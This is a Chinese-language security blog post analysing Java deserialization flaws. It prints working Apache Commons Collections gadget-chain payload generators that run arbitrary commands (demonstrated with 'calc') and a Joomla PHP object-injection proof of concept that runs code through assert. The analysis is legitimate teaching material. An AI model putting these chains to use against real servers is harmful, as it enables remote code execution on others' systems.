java反序列化漏洞原理分析

0x00 反序列化原理

1.从java序列化机制谈起

Java 提供了一种对象序列化的机制,该机制中,一个对象可以被表示为一个字节序列,该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型。
将序列化对象写入文件之后,可以从文件中读取出来,并且对它进行反序列化,也就是说,对象的类型信息、对象的数据,还有对象中的数据类型可以用来在内存中新建对象。
整个过程都是Java虚拟机(JVM)独立的,也就是说,在一个平台上序列化的对象可以在另一个完全不同的平台上反序列化该对象。
类ObjectInputStream 和ObjectOutputStream是高层次的数据流,它们包含序列化和反序列化对象的方法。

java序列化是将我们的java对象封装成静态二进制格式,这样就适合存储在磁盘上或者通过网络传输。这里需要清楚知道类和对象的概念。对象是通过类生成的一个实例。
java反序列化与序列化过程正好相反,通过读取序列化后的静态二进制格式数据。然后,通过已有类将数据解析出来,重新生成这个对象,并进行使用。这样就完成了数据的解析过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class SerializeTest {

public static void main(String args[]) throws Exception{
//This is the object we're going to serialize.
String name = "bob";

//We'll write the serialized data to a file "name.ser"
FileOutputStream fos = new FileOutputStream("name.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(name);
os.close();

//Read the serialized data back in from the file "name.ser"
FileInputStream fis = new FileInputStream("name.ser");
ObjectInputStream ois = new ObjectInputStream(fis);

//Read the object from the data stream, and convert it back to a String
String nameFromDisk = (String)ois.readObject();

//Print the result.
System.out.println(nameFromDisk);
ois.close();
}
}

代码运行结果输出:bob。
上述代码将字符串对象String name进行了序列化处理,并存储在本地的name.ser文件中。然后,通过读取文件,重新生成了String nameFromDisk这个String对象。而里面存储的便是原始name对象数据”bob”。这样就完成了一次通过序列化完成一次数据传输。
我们通过xxd命令查看序列化数据:

可以注意到,序列化数据都是由aced 0005这样的16进制开头。用这个”幻数”就可以判断数据是否为java序列化数据。
而这种数据传输方式,可以用于网络通信中,我们可以将name.ser中的内容使用TCP/IP协议的方式进行传输,进行远程通信。这种机制广泛应用在java程序中。

Java LOVES sending serialized objects all over the place. For example:
In HTTP requests – Parameters, ViewState, Cookies, you name it.
RMI – The extensively used Java RMI protocol is 100% based on serialization
RMI over HTTP – Many Java thick client web apps use this – again 100% serialized objects
JMX – Again, relies on serialized objects being shot over the wire
Custom Protocols – Sending an receiving raw Java objects is the norm – which we’ll see in some of the exploits to come

2. 反序列化过程自动调用类的readObject函数

以下是一个复杂一点的序列化程序,这里有两个类:
PersonEntity.java,个人实体类:存储一个用户的id,名字和年龄信息。为了能够序列化,我们需要继承Serializable接口。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import java.io.Serializable;

public class PersonEntity implements Serializable{

private int id;
private String name;
private int age;

public void setId(int id) {
this.id = id;
}

public int getId() {
return id;
}

public void setName(String name) {
this.name = name;
}

public String getName() {
return name;
}

public void setAge(int age) {
this.age = age;
}

public int getAge() {
return age;
}
//Test readObject method
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
in.defaultReadObject();
this.name = this.name+"! readObject Method~";
}

}

然后是一个序列化程序测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
@Test
public void serializationTest() throws IOException, ClassNotFoundException
{
//This is the object we're going to serialize.
PersonEntity person1 = new PersonEntity();
person1.setAge(25);
person1.setId(0);
person1.setName("Leslie");

//We'll write the serialized data to a file "object.ser"
FileOutputStream fos = new FileOutputStream("object.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(person1);
os.close();

//Read the serialized data back in from the file "object.ser"
FileInputStream fis = new FileInputStream("object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);

//Read the object from the data stream, and convert it back to a String
PersonEntity objectFromDisk = (PersonEntity)ois.readObject();

//Print the result.
System.out.println("ID:"+objectFromDisk.getId()+" Age:"+objectFromDisk.getAge()+" Name:"+objectFromDisk.getName());
ois.close();
}

这里同样将PersonEntity类生成的person1对象进行了序列化操作到文件中,然后读取生成对象。
运行结果为:ID:0 Age:25 Name:Leslie! readObject Method~
看到name值后面加上了readObject Method~。由此可见,java在执行反序列化过程时,即:执行ois.readObject()方法时,便会优先执行对应序列化类(这里是PersonEntity)中的readObject方法。

0x01 反序列化机制攻击利用

通过以上对java序列化机制的简要分析,可以明确几点:

  • 在读取java反序列化的数据中,没有对数据进行过滤机制。我们可以向这个序列化接口传输任意构造的对象数据。
  • 在构造对象时,必须是目标主机上运行环境中存在的类。这样才能被目标主机解析并生成新的对象。
  • 目标主机类中,如果有readObject方法。我们构造这个类的对象,在解析过程中会优先执行这个类的readObject方法。

在java反序列化这种机制中,可以看到似乎有问题。但是缺少一个利用方法,去爆发这个安全问题,这时第三方类的帮忙,使漏洞一下子爆发了。

1. Apache Commons Collections库

Apache Commons Collections库是Apache公司开发的公共工具库中的一个,里面封装了一些java集合框架操作,实现了对Map,Set,List等数据集合的扩展。大量地应用在java程序开发过程中。 Map类是存储键值对的数据结构。Apache Commons Collections中实现了类TransformedMap,用来对Map进行某种变换。只要调用decorate()函数,传入key和value的变换函数Transformer,即可从任意Map对象生成相应的TransformedMap,decorate()函数如下:

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {  
return new TransformedMap(map, keyTransformer, valueTransformer);
}
  • 其中,Transformer参数 是定义的如何变换的函数
  • Map中的任意项的Key或者Value被修改,相应的Transformer(keyTransformer或者valueTransformer)的transform方法就会被调用。

Transformer接口为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public interface Transformer {

/**
* Transforms the input object (leaving it unchanged) into some output object.
*
* @param input the object to be transformed, should be left unchanged
* @return a transformed object
* @throws ClassCastException (runtime) if the input is the wrong class
* @throws IllegalArgumentException (runtime) if the input is invalid
* @throws FunctorException (runtime) if the transform cannot be completed
*/
public Object transform(Object input);

}

TransformedMap实现了Map接口,并且其中有个checkSetValue方法,每当调用map的setValue方法时,该方法将会被调用。 TransformedMap父类AbstractInputCheckedMapDecorator类中有对setValue的重写:

1
2
3
4
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}

然后,就是调用transformer方法。 流程即为:setValue ==> checkSetValue ==> valueTransformer.transform(value)

1
2
3
4
5
6
7
8
9
10
/**
* Override to transform the value when using <code>setValue</code>.
*
* @param value the value to transform
* @return the transformed value
* @since Commons Collections 3.1
*/
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

2. 构建ChainedTransformer链执行任意代码

(1) 寻找敏感的transformer。比如,反射机制调用方法等操作。

Apache Commons Collections中已经实现了一些常见的Transformer,其中有一个可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
 /**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param methodName the method to call
* @param paramTypes the constructor parameter types, not cloned
* @param args the constructor arguments, not cloned
*/

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

/**
* Transforms the input to result by invoking a method on the input.
*
* @param input the input object to transform
* @return the transformed result, null if null input
*/
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);//这里便是我们关注的利用反射机制进行方法调用。
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

这里我们需要传入三个参数:方法名,参数类型,参数值。这样就可以调用对象中的任意函数了。但这里的Class cls = input.getClass();,我们还没有控制input这个Object类型对象。

(2) ChainedTransformer 形成最终执行代码链

现在解决无法控制对象的问题,发现了ChainedTransformer这个类。
多个Transformer还能串起来,可以形成一个ChainedTransformer,它也继承了Transformer接口。具体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
/**
* Transforms the input to result via each decorated transformer
*
* @param object the input object passed to the first transformer
* @return the transformed result
*/
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object); //迭代了Object
}
return object;
}

这个函数迭代了所有Transformer类中transform方法,并将传回来的object对象放到下一个Transformer中进行使用。
这样就好办了,因为这里还有一个ConstantTransformer类,它只是返回我们传进去的对象。于是我们可以传入Runtime.class对象,就能进行命令执行操作了。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 /**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param constantToReturn the constant to return each time
*/
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

/**
* Transforms the input by ignoring it and returning the stored constant instead.
*
* @param input the input object which is ignored
* @return the stored constant
*/
public Object transform(Object input) {
return iConstant;
}

这样就可以形成我们一个执行任意代码的执行链了:

1
2
3
4
5
6
7
8
9
10
11
12
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", //方法名
new Class[] {String.class, Class[].class }, //参数类型
new Object[] {"getRuntime", new Class[0] }), //参数值
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"calc"})
};

然后通过上述分析的触发条件,生成一个TransformedMap,并且修改这个Map的value值,即可触发。代码测试如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
@Test
public void payloadTest()
{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", //方法名
new Class[] {String.class, Class[].class }, //参数类型
new Object[] {"getRuntime", new Class[0] }), //参数值
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"calc"})
};
Transformer chainedTransformer= new ChainedTransformer(transformers);

Map inMap = new HashMap();
inMap.put("key","value");
Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);//生成TransformedMap。

for (Iterator iterator = outMap.entrySet().iterator();iterator.hasNext();)
{
Map.Entry entry = (Entry) iterator.next();
entry.setValue("123");//改变value值,触发代码执行。
}
}

运行并弹出计算器:

3. 使用AnnotationInvocationHandler类自动触发

以上代码需要自己通过setValue方法,触发漏洞发生。现在需要解决如何在序列化数据反序列化时,执行readObject()方法,并自动触发。
恰好,在搜索readObject方法时,发现AnnotationInvocationHandler
该类是java运行库中的一个类,并且包含一个Map对象属性,其readObject方法有自动修改自身Map属性的操作。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}


private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();


// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);//判断第一个参数是否为AnnotationType,因此使用Retention.class传入较好。
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) || // 获取的值不是annotationType类型,便会触发setValue。这里只需用简单的String即可触发。
value instanceof ExceptionProxy)) {
memberValue.setValue( // 此处触发一些列的Transformer
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

这样我们就可以将TransformedMap当做参数,传入memberValues值中。当java每次读取序列化对象是,就会触发命令执行的Transform链。生成payload并测试代码如下: 生成payload的类PayloadGeneration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public class PayloadGeneration {

public static Object generateExecPayload(String cmd) throws Exception
{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", //方法名
new Class[] {String.class, Class[].class }, //参数类型
new Object[] {"getRuntime", new Class[0] }), //参数值
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] {String.class },
//new Object[] {"touch /home/angelwhu/tmp/pwned"})
new Object[] {cmd})
};

return getPayloadObject(transformers);

}

private static Object getPayloadObject(Transformer[] transformers) throws Exception
{

Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
innerMap.put("value", "value");

Map outmap = TransformedMap.decorate(innerMap, null, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class });
ctor.setAccessible(true);
Object instance = ctor.newInstance(new Object[] { Retention.class, outmap }); //传入一个正常参数,并传入构造好的TransformedMap对象
return instance;

}
}

测试exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public void exploitTest() throws Exception
{
Object exploitObject = PayloadGeneration.generateExecPayload("calc");

//We'll write the serialized data to a file "exploitObject.ser"
FileOutputStream fos = new FileOutputStream("exploitObject.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(exploitObject);
os.close();

//Read the serialized data back in from the file "exploitObject.ser"
FileInputStream fis = new FileInputStream("exploitObject.ser");
ObjectInputStream ois = new ObjectInputStream(fis);

//Read the object from the data stream
PersonEntity objectFromDisk = (PersonEntity)ois.readObject();

ois.close();
}

运行结果: 可以看看生成的payLoad数据:

序列化数据依旧是由幻数,”aced 0005”开头。 做个小的总结:

  • 反序列化只能使用服务器环境类。
  • 只能对属性进行修改赋值,通过这样的修改属性,去触发代码执行等。
  • java默认在反序列化过程中会调用类的readObject方法,通过寻找类的readObject方法,查看是否有敏感操作利用的空间。最后通过修改属性值,去执行任意代码等操作。

4. 国外使用LazyMap的触发用法

(1) 动态代理技术

代理对象和被代理对象一般实现相同的接口,调用者与代理对象进行交互。代理的存在对于调用者来说是透明的,调用者看到的只是接口。
JDK 5引入的动态代理机制,允许开发人员在运行时刻动态的创建出代理类及其对象。在运行时刻,可以动态创建出一个实现了多个接口的代理类。每个代理类的对象都会关联一个表示内部处理逻辑的InvocationHandler接口的实现。当使用者调用了代理对象所代理的接口中的方法的时候,这个调用的信息会被传递给InvocationHandler的invoke方法。

这是涉及一个代理模式,请参考这个例子:http://xiaoniudu2008.iteye.com/blog/236050。 首先,看看java动态代理技术,简单地看看一下代码: 这是一个实现了InvocationHandler接口的代理类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class ListProxy implements InvocationHandler 
{
public List realList;
public ListProxy(List _realList)
{
this.realList = _realList;
}

@Override
public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable {
// TODO Auto-generated method stub
//@param Object: is this(serializeTest) instance, but not needed
if ("size".equals(method.getName())) {
throw new UnsupportedOperationException();
}
else {
return method.invoke(realList , args);
}
}

}

实现功能为:代理了一个List对象。并且当被代理类调用size方法时,就抛出UnsupportedOperationException异常。
测试代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@Test
public void dynamicProxyTest()
{
List list = new ArrayList();
list.add("123");

ListProxy listProxy = new ListProxy(list);

List proxy = List.class.cast( Proxy.newProxyInstance(list.getClass().getClassLoader(), list.getClass().getInterfaces(),listProxy) );
// listProxy代理了接口List,当

//System.out.println(mapProxy.size());
proxy.add("1");
for (Iterator iterator = proxy.iterator();iterator.hasNext();)
{
System.out.println(iterator.next());
}

System.out.println(proxy.size());

}

测试代码运行结果为:

1
2
3
4
5
6
7
123
1
java.lang.UnsupportedOperationException
at serialization.SerializeTest$ListProxy.invoke(SerializeTest.java:196)
at com.sun.proxy.$Proxy4.size(Unknown Source)
at serialization.SerializeTest.dynamicProxyTest(SerializeTest.java:177)
...

通过上面实例可以看出,使用:

1
Proxy.newProxyInstance(list.getClass().getClassLoader(), list.getClass().getInterfaces(),listProxy)

可以代理一个List接口,使其所有的方法操作,都会经过listProxyinvoke方法进行操作。

(2) LazyMap类

LazyMap类和TransformedMap类一样,有个decorate方法,可以传入上述的transformer变换类。

1
2
3
4
5
6
7
8
9
10
  /**
* Factory method to create a lazily instantiated map.
*
* @param map the map to decorate, must not be null
* @param factory the factory to use, must not be null
* @throws IllegalArgumentException if map or factory is null
*/
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

并且存在get方法去触发transform操作:

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

幸运的是,在AnnotationInvocationHandler类的invoke方法中,发现了调用memberValues.get(Object)方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
 public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

...

// Handle annotation member accessors
Object result = memberValues.get(member);//触发transform操作。

...

return result;
}

(3)动态代理触发

AnnotationInvocationHandler类实现了InvocationHandler接口,所以它可以代理其他对象。所以,这里利用这个特点,代理一个Map对象,得到mapProxy代理对象。然后,将mapProxy赋值到AnnotationInvocationHandler类中,当其调用mapProxy方法时,便可以触发invoke()方法。然后,便可以执行transformed链。 同样使用ransformerChain执行任意代码,POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
private static Object getLazyMapPayloadObject(Transformer transformerChain) throws Exception 
{
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

//this will generate a AnnotationInvocationHandler(Override.class,lazymap) invocationhandler
InvocationHandler invo = (InvocationHandler) getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Retention.class, lazyMap);

//第一次生成AnnotationInvocationHandler,用于代理map对象接口。

//generate object which implements specifiy interface

//use invo to proxy the map interface, when readObject ===>
// mapProxy.xxx method ===> invo.invoke() ===> lazyMap.get(xxx) ===> factory.transform

Map mapProxy = Map.class.cast(Proxy.newProxyInstance(PayloadGeneration.class
.getClassLoader(), new Class[] { Map.class }, invo));
//用 invo 代理生成一个map对象。

InvocationHandler handler = (InvocationHandler) getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Retention.class, mapProxy);
// 第二次生成AnnotationInvocationHandler,
// 将map代理对象mapProxy传入值中,用于在readObject方法中触发mapProxy.xx ==> invo.invoke()。

return handler;
}

private static Constructor<?> getFirstCtor(final String name)
throws Exception {
final Constructor<?> ctor = Class.forName(name)
.getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}
  • 注意上述代码两次生成AnnotationInvocationHandler对象,功能不同。
  • 代码的执行流程为:
    1
    2
    3
    4
    5
    AnnotationInvocationHandler_1.readObject() ===> 
    mapProxy.xx ===>
    AnnotationInvocationHandler_2.invoke() ===>
    LazyMap.get(xxx) ===>
    Transformer.transform() ===> 执行任意代码

测试代码和结果为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@Test
public void paloadLazyMapTest() throws IllegalArgumentException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception
{
//Object exploitObjectLazyMap = payloadLazyMapGeneration();

Object exploitObjectLazyMap = PayloadGeneration.generateLazyMapExecPayload("calc");

//We'll write the serialized data to a file "exploitObject.ser"
FileOutputStream fos = new FileOutputStream("exploitObjectLazyMap.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(exploitObjectLazyMap);
os.close();

//Read the serialized data back in from the file "exploitObject.ser"
FileInputStream fis = new FileInputStream("exploitObjectLazyMap.ser");
ObjectInputStream ois = new ObjectInputStream(fis);

//Read the object from the data stream
PersonEntity objectFromDisk = (PersonEntity)ois.readObject();

ois.close();

}

0x02 php反序列化对比

之前我重现了下php论坛框架Joomla反序列化导致的代码执行漏洞,现在将里面的POC进行分析。 对于php来说,首先要找到反序列化数据的处理位置,Joomla这个漏洞已经找到。接下来是构造利用。

  • php中存在__destruct析构函数,即:在对象销毁时,会自动执行里面的代码。与java序列化中readObject方法类似。
  • 同样,必须在目标主机中找到可以利用类,里面包含敏感操作。这里更加直接,析构函数中直接包含敏感操作。没有像java反序列化中,通过寻找修改map值的readObject函数,来触发transform调用。

在Joomla3中,成功在析构函数(__destruct)中找到了敏感操作call_user_func_array,查询这个函数可知: 该函数具有调用任意函数的功能,比如:

1
call_user_func_array("assert",array("phpinfo()"));

这里就会执行assert(phpinfo())代码。
JDatabaseDriverMysqli类中存在该类敏感操作,但是控制不了第二个参数,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function __destruct()
{
$this->disconnect();
}

public function disconnect()
{
// Close the connection.
if ($this->connection)
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));//调用任意函数,无法控制第二个参数。
}

mysqli_close($this->connection);
}

$this->connection = null;
}

但是,可以发现有这个用法:

1
call_user_func_array(array($foo, "bar"), array("three", "four"));

以上即为调用$foo->bar("three", "four")
于是,再次找到一个敏感操作地方,simplepie类中init函数存在敏感操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if ($this->feed_url !== null || $this->raw_data !== null)
{
$this->data = array();
$this->multifeed_objects = array();
$cache = false;

if ($this->feed_url !== null)
{
$parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
// Decide whether to enable caching
if ($this->cache && $parsed_feed_url['scheme'] !== '')
{
$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');//这里的call_user_func函数也是可以调用任意函数。
}

因此,这里新建一个simplepie类,并且将其中cache_name_functionfeed_url属性赋值为:assertphpinfo,便可执行phpinfo这个代码。
于是有了POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
//header("Content-Type: text/plain");
class JSimplepieFactory {
}
class JDatabaseDriverMysql {

}
class SimplePie {
var $sanitize;
var $cache;
var $cache_name_function;
var $javascript;
var $feed_url;
function __construct()
{
$this->feed_url = "phpinfo();JFactory::getConfig();exit;";
$this->javascript = 9999;
$this->cache_name_function = "assert";
$this->sanitize = new JDatabaseDriverMysql();
$this->cache = true;
}
}

class JDatabaseDriverMysqli {
protected $a;
protected $disconnectHandlers;
protected $connection;
function __construct()
{
$this->a = new JSimplepieFactory();
$x = new SimplePie();
$this->connection = 1;
$this->disconnectHandlers = [
[$x, "init"],
];
}
}

$a = new JDatabaseDriverMysqli();
$result = serialize($a);

整体的执行代码流程为:

1
2
3
4
5
JDatabaseDriverMysqli->__destruct()            =====>  
call_user_func_array(["SimplePie","init"], array( &$this)); =====>
SimplePie->init() =====>
call_user_func("assert", "phpinfo();JFactory::getConfig();exit;") =====>
assert("phpinfo();JFactory::getConfig();exit;");

做个小总结:

  • php序列化也需要寻找自动调用的函数__destruct,查看里面是否存在敏感操作。
  • 只能利用目标服务器上已存在的类。
  • 只能通过对对象的赋值操作,进行漏洞利用。

0x03 参考及代码

http://blog.chaitin.com/2015-11-11_java_unserialize_rce/
http://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/
http://drops.wooyun.org/papers/11330 本文所示代码: https://github.com/angelwhu/java_unserialize

文章作者: angelwhu
文章链接: https://www.angelwhu.com/paper/2016/01/20/principle-analysis-of-java-deserialization-vulnerability/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 angelwhu_blog